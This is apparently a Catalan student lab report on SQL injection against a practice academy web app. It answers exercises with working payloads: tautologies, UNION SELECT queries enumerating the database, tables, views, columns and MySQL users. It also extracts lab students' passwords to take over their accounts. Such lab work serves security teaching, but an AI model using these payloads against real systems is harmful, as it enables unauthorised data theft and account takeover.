16
 PR ÀCTICA SQL- INJECTION Anderson Zurita  Pràctica - Rimbau

Practica SQL- Injection

Embed Size (px)

DESCRIPTION

practica

Citation preview

Prctica sql-injection

1. Quants alumnes hi ha de Vic i com es diuen? Fent servir el lmit podem veure els alumnes que existeixenLa consulta SQL es la segent: %27 or 1=1 limit 6,1 # (lmit 1,2), (limit 2,1) , (limit 3,1), (limit 4,1), (limit 5,1), (limit 6,1) Podem veure que existeixen noms sis alumnes ja que quan posem limit 7,1 dona un error ja que ens sortim del rang.

Els alumnes de vic son 3 :%27 or 1=1 limit 0,1 # Mariano Dez Lobato

%27 or 1=1 limit 2,1 #1 Antoni Font Jubanteny

%27 or 1=1 limit 4,1 #2 Anabel Soriano Racasens

2. Quants alumnes hi ha en total?Com ho hem dit abans existeixen set alumnes els podem visualitzar fent servir el limit sabem que existeixen set ja que quan fem servir el limit 7,1 dona un error.Els noms dels sis alumnes son:

1. Nom: Mariano Dex Lobato %27 or 1=1 limit 0,1 #2. Nom: Joan Perez coll %27 or 1=1 limit 1,1 #3. Nom: Antoni Font Jubanteny %27 or 1=1 limit 2,1 #4. Nom: Maria Ramos Torras %27 or 1=1 limit 3,1 #5. Nom: Anabel Soriano Racasens %27 or 1=1 limit 4,1 #6. Nom: Marcel Pi Bonestruc %27 or 1=1 limit 5,1 #7. Nom: Mohamed NoSoC Ladmin %27 or 1=1 limit 6,1 #

3. Com es diu la base de dades de lexercici? La base de dades es diu: baurimPer poder comprovar el seu nom executem el codi: %27 union select 1,2,database(),4,5,6,7,8#Amb aquesta consulta fem un select de la base de dades per tal de trobar el seu nom.

Aix doncs comprovem que el seu nom es baurim.

4. Fes la llista de les taules que cont la base de dades de lexercici. Podem veure que existeix la taulaassignat fent servir el segent codi.%27 union select null,null,null,null,table_name,null,null,null from information_schema.tables where table_schema = %27baurim%27 #Amb aquesta consulta obtenim la primera taula la qual s assiganat:

Com que hem obtingut la primera taula que es diu assignat farem una consulta que ens digui el nom duna taula per que no sigui assignat el codi seria el seguent:%27 union select null,null,null,null,table_name,null,null,null from information_schema.tables where table_schema = %27baurim%27 and table_name not in(%27assignat%27)#Amb aquesta consulta obtenim la seguent taula la qual es diu: grup

Un cop tenim aquestes dues taules farem un altre consulta on li diem que ens digui el nom duna taula que no sigui ni grup ni assignat s a dir les dues anteriors.

Per aix executem la segent consulta:%27 union select null,null,null,null,table_name,null,null,null from information_schema.tables where table_schema = %27baurim%27 and table_name not in(%27assignat%27,%27grup%27)#El resultat s el nom de la tercera taula la qual es diu: Seguretat:

Tot seguit fem el mateix amb la nova taula descoberta s a dir que ens digui el nom duna taula que no sigui cap de les tres anteriors:Per aix fem servir la segent consulta:%27 union select null,null,null,null,table_name,null,null,null from information_schema.tables where table_schema = %27baurim%27 and table_name not in(%27assignat%27,%27grup%27,%27seguretat%27)#

El resultat s el nom duna nova taula la qual es diu usuari.

Finalment si li diem que ens doni el nom duna taula que no sigui cap de les quatre anteriors ens tornar a donar la primera amb aix sabem que no existeixen ms taules.En conclusi les taules trobades son 4: Assignat Grup Seguretat I usuari.

5. Fes la llista de vistes que cont la base de dades i mostren el codi de cada una. Existeixen quatre vistes: v_alumnes_projecte v_llista_alumnes v_llistat_cursos v_posar_notaPer obtenir el codi de les vistes farem servir el seguent codi:%27 union select null,null,table_schema, table_name, view_definition,null,null,null from information_schema.views where table_schema=%27baurim%27#

Aquesta consulta la fem sobre el nom de la base de dades la qual es baurim i la qual hem comprovat el seu nom en lexercici anterior.I per obtenir les segents vistes farem servir el limit (0,1) (1,1)(1,2)(1,3) sabem que nomes existeixen tres vistes ja que quan fem servir el limit (1,4) surt un error ja que ens sortim del rang.

1v_alumnes_projecte%27 union select null,null,table_schema, table_name, view_definition,null,null,null from information_schema.views where table_schema=%27baurim%27 limit 0,1#

2 V_LLISTA_ALUMNES%27 union select null,null,table_schema, table_name, view_definition,null,null,null from information_schema.views where table_schema=%27baurim%27 limit 1,1#

3 v_llistat_cursos%27 union select null,null,table_schema, table_name, view_definition,null,null,null from information_schema.views where table_schema=%27baurim%27 limit 2,1#

4v_posar_nota%27 union select null,null,table_schema, table_name, view_definition,null,null,null from information_schema.views where table_schema=%27baurim%27 limit 3,1#

6. Fes la llista dusuaris del SGBD (no dalumnes de lacadmia Rimbau sin dusuaris del MySQL).

Per tal de trobar els usuaris del SGBS fem servir la segent consulta:%27 union select null,null,null,null,user,null,null,null from mysql.user#

Amb aquesta consulta el que fem es demanar un usuari sobre el mysql.user s a dir sobre els usuaris.El resultat daquesta consulta s el segent:

Amb aquesta consulta obtenim un dels usuaris el qual es diu jaume.Tot seguit executarem una consulta demanant un usuari per que no sigui el que ja hem descobert s a dir jaume.La consulta seria la segent.%27 union select null,null,null,null,user,null,null,null from mysql.user where user not in (%27jaume%27)#

El resultat de la consulta s el nom dun nou usuari el qual es diu root.

Tot seguit executem una consulta en la qual demanem el nom dun nou usuari per que no sigui cap dels dos anteriors es a dir que no sigui ni jaume ni root, la consulta seria la segent.%27 union select null,null,null,null,user,null,null,null from mysql.user where user not in (%27jaume%27,%27root%27)#Un cop executem aquesta consulta ens dona un error, amb la qual cosa sabem que no existeixen ms usuaris.

En conclusi existeixen dos usuaris els quals sn: Jaume. I root.

7. Modifica la contrasenya de lalumne Antoni Font Jubanteny. Per tal de canviar la contrasenya haurem de saber els camps de la taula per aix farem:%27 union select null, null, column_name, null, null,null, null, null from information_schema.columns where table_name = %27usuari%27 limit 0,1#Amb el limit obtindrem dun en un tots els camps.El resultat obtingut es el segent: Username passw nom edat DNI Foto Telfon Adrea

Aix doncs executem les segents consultes per obtenir el nom dusuari i contrasenya de lAntoni Font per tal de poder canviar la seva contrasenya.%27 union select 1,2,3,4,5,6,7,passw from usuari where nom=%27Antoni Font Jubanteny%27 #Amb la primera consulta seleccionem el password de lusuari Antoni font Jubanteny podem demanar el password i la contrasenya ja que abans hem vist els noms dels camps on estan aquestes dades.%27 union select 1,2,3,4,5,6,7,username from usuari where nom=%27Antoni Font Jubanteny%27 # Amb la segent consulta obtenim el password del mateix usuari el nom dusuari es troba a la taula username la qual hem comprovat que existeix abans.Aix doncs el nom dusuari i contrasenya son: Antoni20 i

Tot seguit entrem i posem el seu password anterior i el podem canviar.

Finalment posem el password que tenim actualment el qual es Antoni20 i posem la nova contrasenya i canviem el password.

8. Quins cursos ha acabat lalumna Anabel Soriano Racasens i quines notes ha tret de cada curs? Per tal de comprovar els cursos acabats daquesta alumna haurem dentrar amb el seu usuari i contrasenya per poder visualitzar aquestes dades tal i com ho hem fet en lexercici anterior aix doncs executem les segents dos consultes per tal dobtenir el seu nom dusuari i password per obtenir la informaci necessria:%27 union select 1,2,3,4,5,6,7,passw from usuari where nom=%27 Anabel Soriano Racasens%27 #

%27 union select 1,2,3,4,5,6,7,passw from usuari where nom=%27Anabel Soriano Racasens%27#

El resultat daquestes dues consultes s el segent:

Nom dusuari: sorianoraPassword olakaze

Contestant a la pregunta els cursos acabats daquesta alumne sn tres: Opos_aj_tona La seva nota es un 7 Opos_aj_manlleu La seva nota es un 7 Opos_aj_vic La seva nota es un 6

9. Modifica la nota que ha tret en Joan Prez Coll en el Curs d'oposicions per funcionari a l'ajuntament, posa-li un 10.

10. Fes una llista de les operacions que lusuari jaume (usuari de lSGBD) pot fer sobre la base de dades de lexercici en funci dels privilegis que t assignats.